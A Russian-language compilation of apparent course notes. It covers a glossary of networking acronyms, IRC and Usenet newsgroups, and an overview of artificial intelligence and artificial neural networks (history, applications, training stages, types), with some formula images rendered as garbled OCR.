BGP – Border Gateway Protocol (протокол граничных маршрутизаторов)

BISDN – Broadband Integrated Services Digital Network (широкополосная цифровая сеть с интеграцией служб)

CBMS – Computer Based Messaging System (компьютерная система передачи сообщений)

CGI – Common Gateway Interface (универсальный интерфейс шлюзов)

CIR – Committed Information Rate (согласованная информационная скорость)

DLCI – Data Link Connection Identifier (идентификатор соединения по звену передачи данных)

DNS – Domain Name Service (служба именования доменов)

EGP – Exterior Gateway Protocol (протокол маршрутизации)

FAQ – Frequently Asked Questions (часто задаваемые вопросы)

FS – File Server (файл-сервер)

FCFS – First Come – First Served (первым пришёл – первым обслужен)

FDDI – Fiber Distributed Data Interface (распределённый интерфейс передачи данных по волоконно-оптическому кабелю)

FQDN – Fully Qualified Domain Name (полный доменный адрес)

Frame Relay – быстрая коммутация кадров
FTP – File Transfer Protocol (протокол пересылки файлов)

GGP – Gateway to Gateway Protocol (протокол маршрутизатор–маршрутизатор)

HELLO – реализация протокола внутренней маршрутизации

HTML – Hyper Text Markup Language (язык для работы с гипертекстом)

HTTP – Hyper Text Transfer Protocol (протокол для пересылки гипертекстов)

ICMP – Internet Control Message Protocol (межсетевой протокол управляющих сообщений)

IEEE 802 – Institute of Electrical and Electronics Engineers 802 (Институт инженеров по электротехнике и радиоэлектронике, Комитет № 802)

IGP – Interior Gateway Protocol (внутренний протокол маршрутизации)

IP – Internet Protocol (межсетевой протокол)

ISDN – Integrated Services Digital Network (цифровая сеть с интеграцией служб)

IS-IS – Intermediate System to Intermediate System Protocol (протокол маршрутизации, выполняющий маршрутизацию данных IP и МОС)

LAN – Local Area Network (локальная вычислительная сеть)

LAP-B – Link Access Procedures Balanced (сбалансированные процедуры доступа к каналу)

MAC – Media Access Control (управление доступом к среде)

MAN – Metropolitan Area Network (региональная сеть)

MHS – Message Handing System (система обработки сообщений)

MIME – Multipurpose Internet Mail Extensions (многоцелевые расширения электронной почты Internet)

MTA – Message Transfer Agent (агент пересылки сообщений)

МТS – Message Transfer System (система пересылки сообщений)

NFS – Network File System (сетевая файловая система)

NNI – Network-to-Network Interface (межсетевой интерфейс)

NNTP – Network News Transfer Protocol (протокол сетевой передачи новостей)

NVT – Network Virtual Terminal (сетевой виртуальный терминал)

OSPF – Open Shortest Path First (открытый протокол предпочтения кратчайшего пути)

РОР – Post Office Protocol (протокол почтового отделения)

РРР – Point-to-Point Protocol (протокол точка–точка)

PVC – Permanent Virtual Circuits (постоянные виртуальные соединения)

RARP – Reverse Address Resolution Protocol (протокол обратного преобразования адреса)

RFC – Request For Comments (документ, описывающий принятый в Internet стандарт)

RIP – Routing Information Protocol (протокол для передачи маршрутной информации)

RPC – Remote Procedure Call (вызов удалённых процедур)

SLIP – Serial Line Internet Protocol (межсетевой протокол для последовательного канала)

SMTP – Simple Mail Transfer Protocol (простой протокол электронной почты)

SNMP – Simple Network Management Protocol (простой протокол управления сетью)

SPF – Shortest Path First (кратчайший путь первым)

SVC – Switched Virtual Circuits (коммутируемый виртуальный канал)

TCP – Transmission Control Protocol (протокол управления передачей данных)

TELNET – Terminal Networking (протокол и программные средства, позволяющие подключаться к удалённой машине и работать с ней через эмулируемый терминал)

TFTP – Trivial File Transfer Protocol (простейший протокол пересылки файлов)

UA – User Agent (агент пользователя)

UDP – User Datagram Protocol (протокол пользовательских дейтаграмм)

UNI – User-to-Network Interface (сетевой интерфейс пользователя)

URL – Universal Resource Locator (универсальный указатель ресурса)

UUCP – Unix-Unix-Copy-Program (программа копирования с операционной системы Unix на такую же операционную систему)

WAN – Wide Area Network (глобальная сеть)

WS – Work Station (рабочая станция)

http://opds.sut.ru/electronic_manuals/itm_sait/tema44.htm
5.2.8.5.21  IRC

IRC (англ. Internet Relay Chat — ретранслируемый интернет-чат) — сервисная система, при помощи которой можно общаться через сеть Интернет с другими людьми в режиме реального времени. Она была создана в 1988 году финским студентом Ярко Ойкариненом (Jarkko Oikarinen). В русском компьютерном сленге IRC называют «иркой», «ирцем», а также «мирк», «миркой», «мирц» (кальки с названия наиболее популярного клиента — программы mIRC).

IRC начало завоевывать особенную популярность после операции «Буря в пустыне» (1991), когда сообщения со всего мира собирались в одном месте и в режиме «on-line» транслировались в IRC [1]. Подобным образом IRC использовалось и во время путча в СССР, когда пользователи из Москвы в реальном времени сообщали всему миру о происходящем на улицах[источник?]. [image: image77.png]
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IRC-клиент, подключившийся к нескольким каналам на двух разных IRC-серверах

При подключении к серверу IRC пользователь видит список доступных каналов, в каждый из которых (или сразу в несколько) он может «войти». Канал представляет собой виртуальную «комнату», в которой могут находиться несколько пользователей. Все сообщения, выдаваемые в канал, видны всем пользователям, которые находятся на этом же канале. Каждый канал имеет своё название и, как правило, определённую тему для обсуждения. После «входа» на канал пользователь может видеть, что пишут остальные участники канала, а также может сам принять участие. Тема, обсуждаемая на канале, обычно следует из его названия (например, канал #Wikipedia-ru).

Разные серверы могут объединяться (линковаться) в сеть с единым пространством имён пользователей и каналов. Крупные мировые IRC-сети насчитывают в своём составе сотни серверов.

Клиентами IRC являются:

· для Unix-подобных операционных систем: XChat, Kopete, irssi, kvirc и ircII; 

· для Windows-систем: mIRC, XChat, kvirc; 

· для мобильных телефонов (MIDP): jmirc-m, snirc. 

IRC предоставляет возможность как группового, так и приватного общения. Для группового чата в IRC предназначены каналы, на которых пользователи могут собираться и вести общение.

Операторы IRC-сети управляют работой серверов и сети в целом. Как правило, в IRC-сетях для операторов обычно тоже устанавливаются ограничения на уровне правил сети, сетевого этикета или даже на уровне IRCd/IRC-сервисов.

Телеконференции (Netnews, Newsgroups), наряду с электронной почтой и FTP, относятся к "классическим" видам сервиса Internet. 

   Телеконференции являются сетевым сервисом, ориентированным на поддержку коллективных дискуссий, в которых могут принимать участие тысячи пользователей глобальных компьютерных сетей, и основная цель телеконференций - предоставление оперативной информации. 

Телеконференция - это возможность пользователя ВВS или абонента информационной компьютерной сети участвовать вместе с другими пользователями в обсуждении определенной темы. Телеконференцию в классическом понимании можно представить как большую доску объявлений. Абонент, подписанный на определенную телеконференцию, получает статьи по выбранной теме, написанные другими абонентами. В этом смысле телеконференция напоминает периодическое тематическое издание. Однако абонент может послать в конференцию и свою статью, которая станет доступной всем участникам конференции. Так что это еще и доска объявлений, куда можно приколоть свою заметку.

В отличие от обычных ВВS - локальной доски объявлений, телеконференции в информационной сети распространяются по серверам этой сети и охватывают всех подписчиков. Поэтому в случае многих серверов телеконференция иногда называется «эхо телеконференцией» (информация от одного сервера эхом идет к другому). Телеконференции имеют практически все коммерческие информационные сети. 

В настоящее время в Internet ведутся дискуссии более чем в десяти тысячах телеконференций. Каждая телеконференция имеет свое уникальное имя и представляет собой что-то вроде клуба по интересам. 

Названия телеконференций имеют иерархическую структуру и состоят из нескольких слов, разделенных точками. 

Название телеконференции начинается с имени иерархии (категории верхнего уровня), объединяющей большое число телеконференций и часто имеющей несколько подразделов. Например, во всемирной системе телеконференций Usenet существуют следующие основные иерархии: comp (вопросы, связанные с компьютерами и программированием), news (вопросы организации, функционирования и развития системы телеконференций), rec (отдых, хобби), sci (наука), soc (социальные вопросы), talk (обсуждение спорных вопросов, беседы), misc (темы, не входящие в перечисленные категории). Наиболее обширной иерархией русскоязычных телеконференций является иерархия relcom, которая объединяет телеконференции, созданные, в основном, в сети Relcom и получившие широкое распространение в других сетях. После имени иерархии последовательно идут имена подразделов, сужающие тематику телеконференции до конкретного круга вопросов. Например, телеконференция relcom.commerce.estate посвящена купле-продаже недвижимости, а relcom.commerce.food - продуктам питания, и обе они относятся к конференциям сети Relcom коммерческого направления. 

Работа системы телеконференций реализуется с помощью специального программного обеспечения - серверов телеконференций (news-серверов), которые решают следующие задачи: 

·         предоставление пользователям информации об имеющихся телеконференциях и возможности просмотра их содержания, выбора и получения статей; 

·         получение от пользователей новых статей и сообщений, отправленных в ответ на ранее появившиеся публикации, и размещение их в соответствующих телеконференциях; 

·         обмен информацией с другими серверами телеконференций с целью получения и передачи новых публикаций, то есть ретрансляцию телеконференций между узлами. 

Для пользователей World Wide Web тоже создана своя телеконференция -- relcom.www.users .
Имеется существенное отличие этого вида информационного сервиса от  услуг WWW- и FTP-серверов. К WWW- или FTP-серверу вы обращаетесь непосредственно, указав его сетевой адрес (URL), и если вы имеете полный доступ в Internet и сервер является общедоступным, то проблемы могут возникнуть только из-за неработоспособности сервера или каналов связи. Статьи телеконференций вы получаете с определенного News-сервера, адрес которого указывается при настройке программы-клиента. Поэтому, например, если вы работаете с телеконференциями при помощи программы Internet Explorer (IE) и задали в URL вид сервиса news и название телеконференции, то IE обратится к NNTP-серверу, заданному при его конфигурировании, и попытается получить сведения по этой телеконференции. Если данная телеконференция сервером не поддерживается, она окажется для вас недоступной. Единственное, что можно сделать - это сменить News-сервер, если вы имеете права доступа к нескольким серверам телеконференций. В этом смысле ресурсы телеконференций являются несколько менее доступными, чем ресурсы WWW-серверов и анонимных FTP-серверов. 

6 Искусственный интеллект

6.1 Википедия
В философии не решён вопрос о природе и статусе человеческого интеллекта. Нет и точного критерия достижения компьютерами «разумности», хотя на заре искусственного интеллекта был предложен ряд гипотез, например, тест Тьюринга или гипотеза Ньюэлла — Саймона. Поэтому несмотря на наличие множества подходов как к пониманию задач ИИ, так и созданию интеллектуальных информационных систем можно выделить два основных подхода к разработке ИИ:

· нисходящий, семиотический — создание экспертных систем, баз знаний и систем логического вывода, имитирующие высокоуровневые психические процессы: мышление, рассуждение, речь, эмоции, творчество и т. д.; 

· восходящий, биологический — изучение нейронных сетей и эволюционных вычислений, моделирующих интеллектуальное поведение на основе более мелких «неинтеллектуальных» элементов.

Производство знаний из данных — одна из базовых проблем интеллектуального анализа данных. Существуют различные подходы к решению этой проблемы, в том числе — на основе нейросетевой технологии[6], использующие процедуры вербализации нейронных сетей.
В информатике проблемы искусственного интеллекта рассматриваются с позиций проектирования экспертных систем и баз знаний. Под базами знаний понимается совокупность данных и правил вывода, допускающих логический вывод и осмысленную обработку информации. В целом исследования проблем искусственный интеллект в информатике направлено на создание, развитие и эксплуатацию интеллектуальных информационных систем, включая вопросы подготовки пользователей и разработчиков таких систем.

6.2 Когнитивное моделирование

6.2.1 Логический подход

Логический подход к созданию систем искусственного интеллекта направлен на создание экспертных систем с логическими моделями баз знаний с использованием языка предикатов.

Учебной моделью систем искусственного интеллекта в 1980-х годах был принят язык и система логического программирования Пролог.

Базы знаний, записанные на языке Пролог, представляют наборы фактов и правил логического вывода, записанных языка логических предикатов с использованием лексики русского языка, хорошо понятно русским, казахам, украинцам — всем русскоязычным людям. Известны случаи написания программ и баз знаний с использование русскоязычных интерпретаторов Пролога на казахском языке.

Логическая модель баз знаний позволяет записывать не только конкретные сведения и данные в форме фактов на языке Пролог, но и обобщенные сведения с помощью правил и процедур логического вывода и в том числе логических правил определения понятий, выражающих определенные знания как конкретные и обобщенные сведения.

В целом исследования проблем искусственный интеллект в информатике в рамках логического подхода к проектированию баз знаний и экспертных систем направлено на создание, развитие и эксплуатацию интеллектуальных информационных систем, включая вопросы обучения студентов и школьников, а также подготовки пользователей и разработчиков таких интелектуальных информационных систем.
6.2.2 Агентно-ориентированный подход

Последний подход, развиваемый с начала 1990-х годов называется агентно-ориентированным подходом, или подходом, основанным на использовании интеллектуальных (рациональных) агентов. Согласно этому подходу, интеллект — это вычислительная часть (грубо говоря, планирование) способности достигать поставленных перед интеллектуальной машиной целей. Сама такая машина будет интеллектуальным агентом, воспринимающим окружающий его мир с помощью датчиков и способной воздействовать на объекты в окружающей среде с помощью исполнительных механизмов.

Этот подход акцентирует внимание на тех методах и алгоритмах, которые помогут интеллектуальному агенту выживать в окружающей среде при выполнении его задачи. Так, здесь значительно сильнее изучаются Алгоритмы поиска и принятия решений.

6.3 Направления исследований в искусственном интеллекте

6.3.1 Символьное моделирование мыслительных процессов

Основная статья: Моделирование рассуждений

Анализируя историю ИИ, можно выделить такое обширное направление как моделирование рассуждений. Долгие годы развитие этой науки двигалось именно по этому пути, и теперь это одна из самых развитых областей в современном ИИ. Моделирование рассуждений подразумевает создание символьных систем, на входе которых поставлена некая задача, а на выходе требуется её решение. Как правило, предлагаемая задача уже формализована, то есть переведена в математическую форму, но либо не имеет алгоритма решения, либо он слишком сложен, трудоёмок и т. п. В это направление входят: доказательство теорем, принятие решений и теория игр, планирование и диспетчеризация, прогнозирование.

6.3.2 Работа с естественными языками

Основная статья: Обработка естественного языка

Немаловажным направлением является обработка естественного языка, в рамках которого проводится анализ возможностей понимания, обработки и генерации текстов на «человеческом» языке. В частности, здесь ещё не решена проблема машинного перевода текстов с одного языка на другой. В современном мире большую роль играет разработка методов информационного поиска. По своей природе, оригинальный тест Тьюринга связан с этим направлением.

6.3.3 Накопление и использование знаний

Основная статья: Инженерия знаний

Согласно мнению многих учёных, важным свойством интеллекта является способность к обучению. Таким образом, на первый план выходит инженерия знаний, объединяющая задачи получения знаний из простой информации, их систематизации и использования. Достижения в этой области затрагивают почти все остальные направления исследований ИИ. Здесь также нельзя не отметить две важные подобласти. Первая из них — машинное обучение — касается процесса самостоятельного получения знаний интеллектуальной системой в процессе её работы. Второе связано с созданием экспертных систем — программ, использующих специализированные базы знаний для получения достоверных заключений по какой-либо проблеме.

К области машинного обучения относится большой класс задач на распознавание образов. Например, это распознавание символов, рукописного текста, речи, анализ текстов. Многие задачи успешно решаются с помощью биологического моделирования (см. след. пункт). Особо стоит упомянуть компьютерное зрение, которое связано ещё и с робототехникой.

6.3.4  Биологическое моделирование

Большие и интересные достижения имеются в области моделирования биологических систем. Строго говоря, сюда можно отнести несколько независимых направлений. Нейронные сети используются для решения нечётких и сложных проблем, таких как распознавание геометрических фигур или кластеризация объектов. Генетический подход основан на идее, что некий алгоритм может стать более эффективным, если позаимствует лучшие характеристики у других алгоритмов («родителей»). Относительно новый подход, где ставится задача создания автономной программы — агента, взаимодействующего с внешней средой, называется агентным подходом.

6.3.5 Робототехника

Вообще, робототехника и искусственный интеллект часто ассоциируется друг с другом. Интегрирование этих двух наук, создание интеллектуальных роботов, можно считать ещё одним направлением ИИ.

6.3.6 Машинное творчество

Особняком держится машинное творчество, в связи с тем, что природа человеческого творчества ещё менее изучена, чем природа интеллекта. Тем не менее, эта область существует, и здесь поставлены проблемы написания компьютером музыки, литературных произведений (часто — стихов или сказок), художественное творчество.

6.3.7 Другие области исследований

Наконец, существует масса приложений искусственного интеллекта, каждое из которых образует почти самостоятельное направление. В качестве примеров можно привести программирование интеллекта в компьютерных играх, нелинейное управление, интеллектуальные системы информационной безопасности.

Можно заметить, что многие области исследований пересекаются. Это свойственно для любой науки. Но в искусственном интеллекте взаимосвязь между, казалось бы, различными направлениями выражена особенно сильно, и это связано с философским спором о сильном и слабом ИИ.

6.4 Искусственная нейронная сеть







Схема простой нейросети. Зелёным обозначены входные элементы, жёлтым — выходной элемент

Иску́сственные нейро́нные се́ти (ИНС) — математические модели, а также их программные или аппаратные реализации, построенные по принципу организации и функционирования биологических нейронных сетей — сетей нервных клеток живого организма. Это понятие возникло при изучении процессов, протекающих в мозге при мышлении, и при попытке смоделировать эти процессы. Первой такой моделью мозга был перцептрон. Впоследствии эти модели стали использовать в практических целях, как правило в задачах прогнозирования.

ИНС представляют собой систему соединённых и взаимодействующих между собой простых процессоров (искусственных нейронов). Такие процессоры обычно довольно просты, особенно в сравнении с процессорами, используемыми в персональных компьютерах. Каждый процессор подобной сети имеет дело только с сигналами, которые он периодически получает, и сигналами, которые он периодически посылает другим процессорам. И тем не менее, будучи соединёнными в достаточно большую сеть с управляемым взаимодействием, такие локально простые процессоры вместе способны выполнять довольно сложные задачи.

Нейронные сети не программируются в привычном смысле этого слова, они обучаются. Возможность обучения — одно из главных преимуществ нейронных сетей перед традиционными алгоритмами. Технически обучение заключается в нахождении коэффициентов связей между нейронами. В процессе обучения нейронная сеть способна выявлять сложные зависимости между входными данными и выходными, а также выполнять обобщение. Это значит, что, в случае успешного обучения, сеть сможет вернуть верный результат на основании данных, которые отсутствовали в обучающей выборке.

6.4.1 Хронология
· 1943 год — Норберт Винер вместе с соратниками публикует работу о кибернетике. Основной идеей является представление сложных биологических процессов математическими моделями. 

· 1943 год — Маккалок и Питтс формализуют понятие нейронной сети в фундаментальной статье о логическом исчислении идей и нервной активности[1]. 

· 1949 год — Хебб предлагает первый алгоритм обучения. 

· В 1958 году Розенблаттом изобретен перцептрон. Перцептрон обретает популярность — его используют для распознавания образов, прогнозирования погоды и т. д. Казалось, что построение полноценного искусственного интеллекта уже не за горами. 

· В 1960 году Уидроу (Widrow) совместно со своим студентом Хоффом на основе дельта-правила (формулы Уидроу) разработали Адалин, который сразу начал использоваться для задач предсказания и адаптивного управления. Адалин был построен на базе созданных ими же (Уидроу — Хоффом) принципально новых элементах — мемисторах[2]. Сейчас Адалин (адаптивный сумматор) является стандартным элементом многих систем обработки сигналов.[3] 

· В 1961 году под руководством М. М. Бонгарда разработана программа «Кора»: «…задача Коры — поиск разделяющего правила после того, как найдены операторы, дающие достаточно четкие (коротко кодируемые) характеристики объекта или его частей». Программа Кора нашла применение, в частности, для распознавания нефтеносных пластов. 

· В 1969 году Минский публикует формальное доказательство ограниченности перцептрона и показывает, что он неспособен решать некоторые задачи (Проблема "четности" и "один в блоке"), связанные с инвариантностью представлений. Интерес к нейронным сетям резко спадает. 

· 1974 год — Пол Дж. Вербос[4] и А. И. Галушкин[5] одновременно изобретают алгоритм обратного распространения ошибки для обучения многослойных перцептронов. Изобретение не привлекло особого внимания. 

· 1975 год — Фукушима представляет Когнитрон — самоорганизующуюся сеть, предназначенную для инвариантного распознавания образов, но это достигается только при помощи запоминания практически всех состояний образа. 

· 1982 год — после длительного упадка, интерес к нейросетям вновь возрастает. Хопфилд показал, что нейронная сеть с обратными связями может представлять собой систему, минимизирующую энергию (так называемая сеть Хопфилда). Кохоненом представлены модели сети, обучающейся без учителя (Нейронная сеть Кохонена), решающей задачи кластеризации, визуализации данных (самоорганизующаяся карта Кохонена) и другие задачи предварительного анализа данных. 

· 1986 год — Дэвидом И. Румельхартом, Дж. Е. Хинтоном и Рональдом Дж. Вильямсом[6] и независимо и одновременно С. И. Барцевым и В. А. Охониным (Красноярская группа)[7] переоткрыт и существенно развит метод обратного распространения ошибки. Начался взрыв интереса к обучаемым нейронным сетям. 

6.4.2 Известные применения
6.4.2.1 Распознавание образов и классификация
В качестве образов могут выступать различные по своей природе объекты: символы текста, изображения, образцы звуков и т. д. При обучении сети предлагаются различные образцы образов с указанием того, к какому классу они относятся. Образец, как правило, представляется как вектор значений признаков. При этом совокупность всех признаков должна однозначно определять класс, к которому относится образец. В случае, если признаков недостаточно, сеть может соотнести один и тот же образец с несколькими классами, что неверно [8]. По окончании обучения сети ей можно предъявлять неизвестные ранее образы и получать ответ о принадлежности к определённому классу.

Топология такой сети характеризуется тем, что количество нейронов в выходном слое, как правило, равно количеству определяемых классов. При этом устанавливается соответствие между выходом нейронной сети и классом, который он представляет. Когда сети предъявляется некий образ, на одном из её выходов должен появиться признак того, что образ принадлежит этому классу. В то же время на других выходах должен быть признак того, что образ данному классу не принадлежит[9]. Если на двух или более выходах есть признак принадлежности к классу, считается что сеть «не уверена» в своём ответе.

6.4.2.2 Принятие решений и управление
Эта задача близка к задаче классификации. Классификации подлежат ситуации, характеристики которых поступают на вход нейронной сети. На выходе сети при этом должен появится признак решения, которое она приняла. При этом в качестве входных сигналов используются различные критерии описания состояния управляемой системы[10].

6.4.2.3  Кластеризация
Под кластеризацией понимается разбиение множества входных сигналов на классы, при том, что ни количество, ни признаки классов заранее неизвестны. После обучения такая сеть способна определять, к какому классу относится входной сигнал. Сеть также может сигнализировать о том, что входной сигнал не относится ни к одному из выделенных классов — это является признаком новых, отсутствующих в обучающей выборке, данных. Таким образом, подобная сеть может выявлять новые, неизвестные ранее классы сигналов. Соответствие между классами, выделенными сетью, и классами, существующими в предметной области, устанавливается человеком. Кластеризацию осуществляют, например, нейронные сети Кохонена.

6.4.2.4 Прогнозирование и аппроксимация
Способности нейронной сети к прогнозированию напрямую следуют из ее способности к обобщению и выделению скрытых зависимостей между входными и выходными данными. После обучения сеть способна предсказать будущее значение некой последовательности на основе нескольких предыдущих значений и/или каких-то существующих в настоящий момент факторов. Следует отметить, что прогнозирование возможно только тогда, когда предыдущие изменения действительно в какой-то степени предопределяют будущие. Например, прогнозирование котировок акций на основе котировок за прошлую неделю может оказаться успешным (а может и не оказаться), тогда как прогнозирование результатов завтрашней лотереи на основе данных за последние 50 лет почти наверняка не даст никаких результатов.

6.4.3  Сжатие данных и Ассоциативная память
Способность нейросетей к выявлению взаимосвязей между различными параметрами дает возможность выразить данные большой размерности более компактно, если данные тесно взаимосвязаны друг с другом. Обратный процесс — восстановление исходного набора данных из части информации — называется (авто)ассоциативной памятью. Ассоциативная память позволяет также восстанавливать исходный сигнал/образ из зашумленных/поврежденных входных данных. Решение задачи гетероассоциативной памяти позволяет реализовать память, адресуемую по содержимому[10].

6.4.4 Этапы решения задач
· Сбор данных для обучения; 

· Подготовка и нормализация данных; 

· Выбор топологии сети; 

· Экспериментальный подбор характеристик сети; 

· Экспериментальный подбор параметров обучения; 

· Собственно обучение; 

· Проверка адекватности обучения; 

· Корректировка параметров, окончательное обучение; 

· Вербализация сети[11] с целью дальнейшего использования. 

Следует рассмотреть подробнее некоторые из этих этапов.

6.4.4.1 Сбор данных для обучения
Выбор данных для обучения сети и их обработка является самым сложным этапом решения задачи. Набор данных для обучения должен удовлетворять нескольким критериям:

· Репрезентативность — данные должны иллюстрировать истинное положение вещей в предметной области; 

· Непротиворечивость — противоречивые данные в обучающей выборке приведут к плохому качеству обучения сети; 

Исходные данные преобразуются к виду, в котором их можно подать на входы сети. Каждая запись в файле данных называется обучающей парой или обучающим вектором. Обучающий вектор содержит по одному значению на каждый вход сети и, в зависимости от типа обучения (с учителем или без), по одному значению для каждого выхода сети. Обучение сети на «сыром» наборе, как правило, не даёт качественных результатов. Существует ряд способов улучшить «восприятие» сети.

· Нормировка выполняется, когда на различные входы подаются данные разной размерности. Например, на первый вход сети подается величины со значениями от нуля до единицы, а на второй — от ста до тысячи. При отсутствии нормировки значения на втором входе будут всегда оказывать существенно большее влияние на выход сети, чем значения на первом входе. При нормировке размерности всех входных и выходных данных сводятся воедино; 

· Квантование выполняется над непрерывными величинами, для которых выделяется конечный набор дискретных значений. Например, квантование используют для задания частот звуковых сигналов при распознавании речи; 

· Фильтрация выполняется для «зашумленных» данных. 

Кроме того, большую роль играет само представление как входных, так и выходных данных. Предположим, сеть обучается распознаванию букв на изображениях и имеет один числовой выход — номер буквы в алфавите. В этом случае сеть получит ложное представление о том, что буквы с номерами 1 и 2 более похожи, чем буквы с номерами 1 и 3, что, в общем, неверно. Для того, чтобы избежать такой ситуации, используют топологию сети с большим числом выходов, когда каждый выход имеет свой смысл. Чем больше выходов в сети, тем большее расстояние между классами и тем сложнее их спутать.

6.4.4.2  Выбор топологии сети
Выбирать тип сети следует исходя из постановки задачи и имеющихся данных для обучения. Для обучения с учителем требуется наличие для каждого элемента выборки «экспертной» оценки. Иногда получение такой оценки для большого массива данных просто невозможно. В этих случаях естественным выбором является сеть, обучающаяся без учителя, например, самоорганизующаяся карта Кохонена или нейронная сеть Хопфилда. При решении других задач, таких как прогнозирование временных рядов, экспертная оценка уже содержится в исходных данных и может быть выделена при их обработке. В этом случае можно использовать многослойный перцептрон или сеть Ворда.

6.4.4.3  Экспериментальный подбор характеристик сети
После выбора общей структуры нужно экспериментально подобрать параметры сети. Для сетей, подобных перцептрону, это будет число слоев, число блоков в скрытых слоях (для сетей Ворда), наличие или отсутствие обходных соединений, передаточные функции нейронов. При выборе количества слоев и нейронов в них следует исходить из того, что способности сети к обобщению тем выше, чем больше суммарное число связей между нейронами. С другой стороны, число связей ограничено сверху количеством записей в обучающих данных.

6.4.4.4  Экспериментальный подбор параметров обучения
После выбора конкретной топологии, необходимо выбрать параметры обучения нейронной сети. Этот этап особенно важен для сетей, обучающихся с учителем. От правильного выбора параметров зависит не только то, насколько быстро ответы сети будут сходиться к правильным ответам. Например, выбор низкой скорости обучения увеличит время схождения, однако иногда позволяет избежать паралича сети. Увеличение момента обучения может привести как к увеличению, так и к уменьшению времени сходимости, в зависимости от формы поверхности ошибки. Исходя из такого противоречивого влияния параметров, можно сделать вывод, что их значения нужно выбирать экспериментально, руководствуясь при этом критерием завершения обучения (например, минимизация ошибки или ограничение по времени обучения).

6.4.4.5  Собственно обучение сети
В процессе обучения сеть в определенном порядке просматривает обучающую выборку. Порядок просмотра может быть последовательным, случайным и т. д. Некоторые сети, обучающиеся без учителя, например, сети Хопфилда просматривают выборку только один раз. Другие, например, сети Кохонена, а также сети, обучающиеся с учителем, просматривают выборку множество раз, при этом один полный проход по выборке называется эпохой обучения. При обучении с учителем набор исходных данных делят на две части — собственно обучающую выборку и тестовые данные; принцип разделения может быть произвольным. Обучающие данные подаются сети для обучения, а проверочные используются для расчета ошибки сети (проверочные данные никогда для обучения сети не применяются). Таким образом, если на проверочных данных ошибка уменьшается, то сеть действительно выполняет обобщение. Если ошибка на обучающих данных продолжает уменьшаться, а ошибка на тестовых данных увеличивается, значит, сеть перестала выполнять обобщение и просто «запоминает» обучающие данные. Это явление называется переобучением сети или оверфиттингом. В таких случаях обучение обычно прекращают. В процессе обучения могут проявиться другие проблемы, такие как паралич или попадание сети в локальный минимум поверхности ошибок. Невозможно заранее предсказать проявление той или иной проблемы, равно как и дать однозначные рекомендации к их разрешению.

6.4.4.6  Проверка адекватности обучения
Даже в случае успешного, на первый взгляд, обучения сеть не всегда обучается именно тому, чего от неё хотел создатель. Известен случай, когда сеть обучалась распознаванию изображений танков по фотографиям, однако позднее выяснилось, что все танки были сфотографированы на одном и том же фоне. В результате сеть «научилась» распознавать этот тип ландшафта, вместо того, чтобы «научиться» распознавать танки[12]. Таким образом, сеть «понимает» не то, что от неё требовалось, а то, что проще всего обобщить.

6.4.5  Классификация по типу входной информации
· Аналоговые нейронные сети (используют информацию в форме действительных чисел); 

· Двоичные нейронные сети (оперируют с информацией, представленной в двоичном виде). 

6.4.6  Классификация по характеру обучения
· Обучение с учителем — выходное пространство решений нейронной сети известно; 

· Обучение без учителя — нейронная сеть формирует выходное пространство решений только на основе входных воздействий. Такие сети называют самоорганизующимися; 

· Обучение с подкреплением — система назначения штрафов и поощрений от среды. 

6.4.7  Классификация по характеру настройки синапсов
· Сети с фиксированными связями (весовые коэффициенты нейронной сети выбираются сразу, исходя из условий задачи, при этом: [image: image82.png]dW /di




, где W — весовые коэффициенты сети); 

· сети с динамическими связями (для них в процессе обучения происходит настройка синаптических связей, то есть [image: image83.png]dW/dt # 0



, где W — весовые коэффициенты сети). 

6.4.8  Классификация по времени передачи сигнала
В ряде нейронных сетей активирующая функция может зависеть не только от весовых коэффициентов связей wij, но и от времени передачи импульса (сигнала) по каналам связи τij. По этому в общем виде активирующая (передающая) функция связи cij от элемента ui к элементу uj имеет вид: [image: image84.png]c;; = flwij(t),u; (t — 735)]



. Тогда синхронной сетью называют такую сеть у которой время передачи τij каждой связи равна либо нулю, либо фиксированной постоянной τ. Асинхронной называют такую сеть у которой время передачи τij для каждой связи между элементами ui и uj свое, но тоже постоянное.

6.4.9  Классификация по характеру связей
6.4.9.1  Сети прямого распространения (Feedforward)
Все связи направлены строго от входных нейронов к выходным. Примерами таких сетей являются перцептрон Розенблатта, многослойный перцептрон, сети Ворда.

6.4.9.2  Рекуррентные нейронные сети‎
Основная статья: Рекуррентные нейронные сети‎
Сигнал с выходных нейронов или нейронов скрытого слоя частично передается обратно на входы нейронов входного слоя (обратная связь). Рекуррентная сеть сеть Хопфилда «фильтрует» входные данные, возвращаясь к устойчивому состоянию и, таким образом, позволяет решать задачи компрессии данных и построения ассоциативной памяти[13]. Частным случаем рекуррентных сетей является двунаправленные сети. В таких сетях между слоями существуют связи как в направлении от входного слоя к выходному, так и в обратном. Классическим примером является Нейронная сеть Коско.

6.4.9.3  Радиально-базисные функции
Искусственные нейронные сети, использующие в качестве активационных функций радиально-базисные (такие сети сокращённо называются RBF-сетями). Общий вид радиально-базисной функции:

[image: image85.png]o) -6 (%)



, например, [image: image86.png]



где x — вектор входных сигналов нейрона, σ — ширина окна функции, φ(y) — убывающая функция (чаще всего, равная нулю вне некоторого отрезка).

Радиально-базисная сеть характеризуется тремя особенностями:

1. Единственный скрытый слой

2. Только нейроны скрытого слоя имеют нелинейную активационную функцию

3. Синаптические веса связей входного и скрытого слоев равны единице

Про процедуру обучения — см. литературу

6.4.9.4  Самоорганизующиеся карты
Основная статья: Самоорганизующаяся карта Кохонена
Такие сети представляют собой соревновательную нейронную сеть с обучением без учителя, выполняющую задачу визуализации и кластеризации. Является методом проецирования многомерного пространства в пространство с более низкой размерностью (чаще всего, двумерное), применяется также для решения задач моделирования, прогнозирования и др. Является одной из версий нейронных сетей Кохонена.[14] Самоорганизующиеся карты Кохонена служат, в первую очередь, для визуализации и первоначального («разведывательного») анализа данных.[15]
Сигнал в сеть Кохонена поступает сразу на все нейроны, веса соответствующих синапсов интерпретируются как координаты положения узла, и выходной сигнал формируется по принципу «победитель забирает всё» — то есть ненулевой выходной сигнал имеет нейрон, ближайший (в смысле весов синапсов) к подаваемому на вход объекту. В процессе обучения веса синапсов настраиваются таким образом, чтобы узлы решетки «располагались» в местах локальных сгущений данных, то есть описывали кластерную структуру облака данных, с другой стороны, связи между нейронами соответствуют отношениям соседства между соответствующими кластерами в пространстве признаков.

